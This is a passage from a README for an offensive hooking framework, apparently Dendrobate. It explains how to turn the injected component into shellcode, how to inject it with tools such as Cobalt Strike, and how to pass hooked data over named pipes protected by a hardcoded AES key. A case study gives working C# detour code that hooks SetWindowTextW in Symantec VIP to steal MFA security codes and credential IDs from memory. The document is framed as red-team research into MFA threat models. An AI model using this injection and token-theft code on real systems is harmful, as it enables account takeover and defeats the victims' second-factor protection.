[+] Dendron client connected 118 | |_ Function : KernelBase!CreateFileW 119 | |_ Data Type : String 120 | |_ Data : 121 | 122 | lpFileName -> C:\Users\b33f\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db 123 | 124 | [+] Dendron client connected 125 | |_ Function : KernelBase!CreateFileW 126 | |_ Data Type : String 127 | |_ Data : 128 | 129 | lpFileName -> C:\Users\b33f\AppData\Roaming\Microsoft\Windows\Network Shortcuts\desktop.ini 130 | 131 | [+] Dendron client connected 132 | |_ Function : KernelBase!CreateFileW 133 | |_ Data Type : String 134 | |_ Data : 135 | 136 | lpFileName -> C:\Users\b33f\AppData\Roaming\Microsoft\Windows\Network Shortcuts 137 | 138 | [...] 139 | ``` 140 | 141 | ### Named Pipe Communication 142 | 143 | Both Dendron and Bates have some global variables which govern named pipe communications and AES. You can change those to taste, just make sure you replicate the changes in both components. 144 | 145 | ```c# 146 | // Globals 147 | //----------- 148 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates 149 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates 150 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates 151 | ``` 152 | 153 | Of course if you use Dendron autonomously you can prevent it from creating a control pipe and ignore the data pipe & AES key. 154 | 155 | ## Operational Use 156 | 157 | ### Deploying Dendrobate 158 | 159 | Dendron generates an `exe`, you can turn this into PIC shellcode with [Donut](https://github.com/TheWover/donut) and use whichever shellcode injection tool you prefer to get it into the target (e.g. [UrbanBishop](https://github.com/FuzzySecurity/Sharp-Suite#urbanbishop) or CobaltStrike's shinject). For operational use, Bates can be executed using an `execute-assembly` style capability. 160 | 161 | ### Extending Dendrobate 162 | 163 | Dendrobate is a template framework which, in most simple cases, will do the job just fine. However, sometimes you will need to do some heavy lifting in-process; for example to manipulate data coming through hooked functions or to search that data. Consider for example [this](https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/) post by [@_batsec_](https://twitter.com/_batsec_) on hooking Chrome IPC. 164 | 165 | Depending on performance considerations, you can pack additional libraries into either Dendron or Bates (for example [YaraSharp](https://github.com/stellarbear/YaraSharp)) and dynamically build out a tool to suite your specific use case. 166 | 167 | ## Case-Study: Defeating Local MFA 168 | 169 | Multi-Factor authentication (MFA) can be a very powerful tool to keep user accounts and applications safe; even when account credentials have been compromised by malicious actors. There is no straight-forward way for an attacker to gain access to transient secrets which rotate frequently, or is there? 170 | 171 | One commonly overlooked issue with MFA is that it cannot protect the user when the device (pc, phone, etc.) that receives the transient secret has been compromised. This may seem obvious but it is often overlooked as part of the threat model. 172 | 173 | ### Symantec VIP 174 | 175 | In this case-study we will use Dendrobate to extract MFA tokens from [Symantec VIP](https://vip.symantec.com/) entirely in memory. It is important to stress that this **is not a vulnerability** in VIP it is merely an illustration of the issue described above. 176 | 177 | When you launch VIP you are presented with a small UI, as show below. 178 | 179 | ![Symantec VIP](Images/vip.png) 180 | 181 | ### Sensitive Data Discovery 182 | 183 | Reverse engineering the VIP binary (`VIPUIManager.exe`) is beyond the scope of this case-study. These types of applications, however, are typically small and can be analysed fairly quickly in a disassembler (such as [Ghidra](https://ghidra-sre.org/) or IDA) on a budget of one or two :coffee:'s. Note that a full understanding of the internal workings of the application is not required, only an idea of which functions may handle sensitive data. 184 | 185 | You can also leverage dynamic analysis tools (such as [API Monitor](http://www.rohitab.com/apimonitor)) both for exploration as well as to confirm your findings. In this case specifically I determined that the application was using [SetWindowTextW](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowtextw) to update window controls with new MFA tokens each time they refreshed. I then validated that assumption in API monitor. 186 | 187 | ![API Monitor](Images/apimon.png) 188 | 189 | ### POC Development 190 | 191 | In these types of cases I like to develop prototype hooking code using [Fermion](https://github.com/FuzzySecurity/Fermion) which uses [Frida](https://frida.re/) under the hood. This intermediate development stage may require a lot of tweaking and many iterations to become reliable and efficient. Using Frida allows for rapid development without a costly `..-recompile-test-recompile-..` lifecycle. 192 | 193 | In this case you can see the logic is fairly simple. 194 | 195 | ![Fermion](Images/fermion.png) 196 | 197 | Any time `SetWindowTextW` is called and the `lpString` parameter is not empty then we know we either captured the MFA code or the ID. Since the MFA code is six characters in length we can easily distinguish between those two cases. 198 | 199 | ### Preparing Dendron 200 | 201 | Porting this logic to Dendron is easy, you can see the code for the function detour below. 202 | 203 | ```c# 204 | // Function Detours 205 | //----------- 206 | static private Boolean SetWindowTextWDetour( 207 | IntPtr hWnd, 208 | IntPtr lpString) 209 | { 210 | String sControlString = String.Empty; 211 | try 212 | { 213 | sControlString = Marshal.PtrToStringUni(lpString); 214 | if (sControlString.Length > 0) 215 | { 216 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT(); 217 | oHook.sHookFunc = "User32!SetWindowTextW"; 218 | oHook.iType = 0; 219 | if (sControlString.Length == 6) 220 | { 221 | oHook.sHookData = "[+] Security Code : " + sControlString; 222 | } else if (sControlString.Length > 6) 223 | { 224 | oHook.sHookData = "[+] Credential ID : " + sControlString; 225 | } 226 | 227 | // Send data to pipe 228 | hDendron.passHookDataByPipe(oHook); 229 | } 230 | } catch { } 231 | 232 | // Return to real function 233 | return API.SetWindowTextW(hWnd, lpString); 234 | } 235 | ``` 236 | 237 | Once implemented we have to compile Dendron to match the architecture of the target application. In this case `VIPUIManager.exe` is `x86` so we compile a 32-bit version of Dendron. Finally we turn Dendron into shellcode using Donut. 238 | 239 | ![Donut](Images/donut.png) 240 | 241 | ### Profit 242 | 243 | All that remains is to inject Dendron into `VIPUIManager.exe` and execute Bates to receive the MFA token from memory :fire::skull:¯\\_(ツ)_/¯.. 244 | 245 | ![Cobalt Strike](Images/cobaltstrike.png) 246 | --------------------------------------------------------------------------------